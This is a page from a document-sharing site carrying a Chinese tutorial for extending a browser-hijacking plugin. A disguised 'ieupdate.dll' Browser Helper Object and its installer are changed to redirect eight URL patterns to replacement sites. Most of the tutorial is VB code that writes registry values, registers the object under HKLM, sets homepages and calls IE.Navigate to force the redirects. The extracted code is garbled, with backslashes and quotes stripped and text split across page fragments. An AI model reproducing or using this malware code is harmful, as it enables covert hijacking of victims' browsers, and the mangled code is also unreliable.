《怎样增加跳转的站.doc》由会员分享，可在线阅读，更多相关《怎样增加跳转的站.doc（5页珍藏版）》请在金锄头文库上搜索。
1、怎样增加跳转的站.txt不要为旧的悲伤而浪费新的眼泪！现在干什么事都要有经验的，除了老婆。没有100分的另一半，只有50分的两个人。这一讲主要将怎样增加跳转网站的数量在插件里默认提供了5个跳转对于这个有的人觉得不够用当然也有的人觉得用不上一切看自己喜好下面我说说如何改那个关于跳转的改这个需要在2个里面改一个是dll的原代码里面改一个是服务端的原代码里改我改成八个跳转的吧首先打开dll的原代码=Dim url1 As StringDim tihuan1 As StringDim url2 As StringDim tihuan2 As StringDim url3 As StringDim ti
2、huan3 As StringDim xiaoming, xiaoqiangDim url4 As StringDim tihuan4 As StringDim url5 As StringDim tihuan5 As String=找到这一块既然我们要8个那么就多定义3个吧Dim url1 As StringDim tihuan1 As StringDim url2 As StringDim tihuan2 As StringDim url3 As StringDim tihuan3 As StringDim xiaoming, xiaoqiangDim url4 As StringDim
3、tihuan4 As StringDim url5 As StringDim tihuan5 As StringDim url6 As StringDim tihuan6 As StringDim url7 As StringDim tihuan7 As StringDim url8 As StringDim tihuan8 As String=然后还有下面一部分-Set lanrenreg = CreateObject(WScript.Shell)url1 = lanrenreg.regread(HKCRlanrenurl1)url2 = lanrenreg.regread(HKCRlanr
4、enurl2)url3 = lanrenreg.regread(HKCRlanrenurl3)url4 = lanrenreg.regread(HKCRlanrenurl4)url5 = lanrenreg.regread(HKCRlanrenurl5)url6 = lanrenreg.regread(HKCRlanrenurl6)url7 = lanrenreg.regread(HKCRlanrenurl7)url8 = lanrenreg.regread(HKCRlanrenurl8)tihuan1 = lanrenreg.regread(HKCRlanrentihuan1)tihuan2
5、 = lanrenreg.regread(HKCRlanrentihuan2)tihuan3 = lanrenreg.regread(HKCRlanrentihuan3)tihuan4 = lanrenreg.regread(HKCRlanrentihuan4)tihuan5 = lanrenreg.regread(HKCRlanrentihuan5)tihuan6 = lanrenreg.regread(HKCRlanrentihuan6)tihuan7 = lanrenreg.regread(HKCRlanrentihuan7)tihuan8 = lanrenreg.regread(HKC
6、Rlanrentihuan8)-照样增加上刚才多出的几个还有下面的也要加几句If InStr(url, url1) 0 Thenhaha = 1 IE.Navigate tihuan1 Exit SubEnd IfIf InStr(url, url2) 0 Then IE.Navigate tihuan2 Exit SubEnd IfIf InStr(url, url3) 0 Then IE.Navigate tihuan3 Exit SubEnd IfIf InStr(url, url4) 0 Then IE.Navigate tihuan4 Exit SubEnd IfIf InStr(u
7、rl, url5) 0 Then IE.Navigate tihuan5 Exit SubEnd If=好了这部分的代码就改完了编译生成一下将生成的ieupdate.dll复制到3.最终的服务端server导入到资源文件里面去101对应ieupdate.dll打开这个工程1.RES删除那个101然后将生成的ieupdate.dll拖入到里面替换到以前的101然后关闭保存接下来将BHO插件测试辅助工具.exe和ieupdate.dll复制到C:WINDOWSsystem32记得删除以前的C:WINDOWSsystem32ieupdate.dll删除不鸟就给他改个名字将ieupdate.dll拖到
8、BHO插件测试辅助工具.exe上然后打开360找到这个复制出来C:WINDOWSsystem32ieupdate.dllHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper ObjectsA3EFBC64-0833-4676-8A5F-F8CAF70A8C03接下来打开3.最终的服务端server原代码Dim lanrenreg, homepages, url1, url2, url3, url4, url5, tihuan1, tihuan2, tihuan3, tihuan4, tihu
9、an5-一样加上刚才定义的几个跳转dim url6, tihuan6=然后就是这块地方 Set lanrenreg = CreateObject(WScript.Shell) lanrenreg.RegWrite HKCRlanren, lanren lanrenreg.RegWrite HKCRlanrenhomepages, homepages lanrenreg.RegWrite HKCRlanrenurl1, url1 lanrenreg.RegWrite HKCRlanrentihuan1, tihuan1 lanrenreg.RegWrite HKCRlanrenurl2, url
10、2 lanrenreg.RegWrite HKCRlanrentihuan2, tihuan2 lanrenreg.RegWrite HKCRlanrenurl3, url3 lanrenreg.RegWrite HKCRlanrentihuan3, tihuan3 lanrenreg.RegWrite HKCRlanrenurl4, url4 lanrenreg.RegWrite HKCRlanrentihuan4, tihuan4 lanrenreg.RegWrite HKCRlanrenurl5, url5 lanrenreg.RegWrite HKCRlanrentihuan5, ti
11、huan5 -End Sub= lanrenreg.RegWrite HKCRlanren, lanren lanrenreg.RegWrite HKCRlanrenhomepages, homepages lanrenreg.RegWrite HKCRlanrenurl1, url1 lanrenreg.RegWrite HKCRlanrentihuan1, tihuan1 lanrenreg.RegWrite HKCRlanrenurl2, url2 lanrenreg.RegWrite HKCRlanrentihuan2, tihuan2 lanrenreg.RegWrite HKCRl
12、anrenurl3, url3 lanrenreg.RegWrite HKCRlanrentihuan3, tihuan3 lanrenreg.RegWrite HKCRlanrenurl4, url4 lanrenreg.RegWrite HKCRlanrentihuan4, tihuan4 lanrenreg.RegWrite HKCRlanrenurl5, url5 lanrenreg.RegWrite HKCRlanrentihuan5, tihuan5 lanrenreg.RegWrite HKCRlanrenurl6, url6 lanrenreg.RegWrite HKCRlan
13、rentihuan6, tihuan6 lanrenreg.RegWrite HKCRlanrenurl7, url7 lanrenreg.RegWrite HKCRlanrentihuan7, tihuan7 lanrenreg.RegWrite HKCRlanrenurl8, url8 lanrenreg.RegWrite HKCRlanrentihuan8, tihuan8 -=好了接下来就是下面的那个-wsh.RegWrite HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects + clisd + , Nullwsh.RegWrite HKLMSOFTWAREMicrosoftWindowsC
